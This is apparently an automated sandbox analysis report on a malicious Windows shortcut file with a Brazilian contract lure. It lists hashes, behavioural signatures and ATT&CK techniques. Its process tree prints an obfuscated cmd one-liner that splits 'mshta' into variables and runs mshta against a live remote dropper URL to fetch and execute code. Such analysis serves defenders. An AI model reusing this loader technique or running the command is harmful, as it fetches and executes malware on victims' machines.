83e10e62b8e45ac928c698cb9aaf0e611766b9f14e1ba93ec81611e836390497

Analysis

max time kernel
148s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:47

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General

Target
Contrato_Indeniza_Brasil-J8CQ52.lnk
Size 1KB
Sample260803-pz9trsyamd
SHA256 83e10e62b8e45ac928c698cb9aaf0e611766b9f14e1ba93ec81611e836390497
MD5 595415c78d5232616709ed454e858a37
SHA1 f619648819f9d181a96e26ffbc22495d71796f19
SHA512 08b28518c88e3589c064609323f0309377b85974048df3a4b4128dd7dc2a1df3e656cbd2a53f3374976f828d8b4b11bb0e30e5998fe901d315a8b2a7e8e8bbe6
TLSH
T1D1319C003AFD0614F3B39E76857B671059BEF8A58D10C60D4080454C1062A04E57BF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5912	mshta.exe
8	5912	mshta.exe
9	5912	mshta.exe
11	5912	mshta.exe
13	5912	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4924	cmd.exe
3248	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4924 wrote to memory of 3248	4924	cmd.exe	90
PID 3248 wrote to memory of 5912	3248	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-J8CQ52.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4924
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set CSj=msh&&set pssT=ta&&start "" !CSj!!pssT! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3248
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:5912

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads